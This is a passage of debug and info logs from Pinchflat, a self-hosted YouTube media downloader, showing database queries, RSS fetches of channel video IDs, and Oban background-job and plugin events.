s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:41:35.610 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:41:35.610 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:41:35.610 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 19:41:35.646 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:41:35.647 [debug] QUERY OK source="media_items" db=0.1ms idle=37.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:41:35.648 [debug] QUERY OK source="media_items" db=1.7ms idle=37.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:41:35.649 [debug] QUERY OK source="tasks" db=0.0ms idle=39.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [768, 3, ~U[2026-07-24 19:41:35Z], ~U[2026-07-24 19:41:35Z]] 19:41:35.649 [info] {"args":{"id":3},"id":765,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":40394,"event":"job:stop","queue_time":365859,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:41:35.650 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:41:57.572 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.928 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:27.573 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:57.574 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.929 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:27.575 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:57.577 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.930 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:27.578 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:57.579 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.930 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:27.580 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:57.581 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.931 [info] {"source":"oban","duration":101,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:27.582 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:57.583 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.932 [info] {"source":"oban","duration":52,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:27.584 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:57.585 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.934 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:27.586 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:57.587 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.934 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:27.588 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:57.589 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.936 [info] {"source":"oban","duration":306,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:27.590 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:45.772 [info] GET /api/v1/videos 19:50:45.772 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 19:50:45.801 [debug] QUERY OK source="media_items" db=29.0ms idle=609.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 19:50:45.849 [info] Sent 200 in 77ms 19:50:57.591 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.937 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:12.197 [info] {"args":{"id":2},"id":766,"meta":{},"system_time":1784922672197362422,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:51:12.197 [debug] QUERY OK source="tasks" db=0.2ms idle=828.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:51:12.198 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=828.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:51:12.198 [debug] QUERY OK source="sources" db=0.1ms idle=829.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:51:12.198 [debug] QUERY OK source="settings" db=0.6ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:12.198 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:51:12.199 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:12.199 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 19:51:12.316 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:51:12.317 [debug] QUERY OK source="media_items" db=0.3ms idle=118.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:51:12.318 [debug] QUERY OK source="media_items" db=0.3ms idle=119.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:51:12.318 [debug] QUERY OK source="tasks" db=0.1ms idle=119.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [769, 2, ~U[2026-07-24 19:51:12Z], ~U[2026-07-24 19:51:12Z]] 19:51:12.319 [info] {"args":{"id":2},"id":766,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121465,"event":"job:stop","queue_time":12217,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:51:12.319 [debug] QUERY OK source="tasks" db=0.1ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:51:21.206 [info] {"args":{"id":1},"id":767,"meta":{},"system_time":1784922681206351065,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:51:21.206 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1837.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:51:21.207 [debug] QUERY OK source="tasks" db=0.4ms idle=1837.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:51:21.207 [debug] QUERY OK source="settings" db=0.2ms idle=1007.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:21.207 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:51:21.207 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:51:21.207 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:21.207 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 19:51:21.247 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:51:21.247 [debug] QUERY OK source="media_items" db=0.2ms idle=40.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:51:21.250 [debug] QUERY OK source="media_items" db=2.0ms idle=41.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:51:21.250 [debug] QUERY OK source="tasks" db=0.0ms idle=42.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [770, 1, ~U[2026-07-24 19:51:21Z], ~U[2026-07-24 19:51:21Z]] 19:51:21.251 [info] {"args":{"id":1},"id":767,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":44587,"event":"job:stop","queue_time":429852,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:51:21.251 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:51:27.592 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:36.222 [info] {"args":{"id":3},"id":768,"meta":{},"system_time":1784922696222451506,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:51:36.223 [debug] QUERY OK source="sources" db=0.3ms idle=1853.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:51:36.223 [debug] QUERY OK source="tasks" db=0.4ms idle=1007.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:51:36.223 [debug] QUERY OK source="settings" db=0.1ms idle=854.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:36.223 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 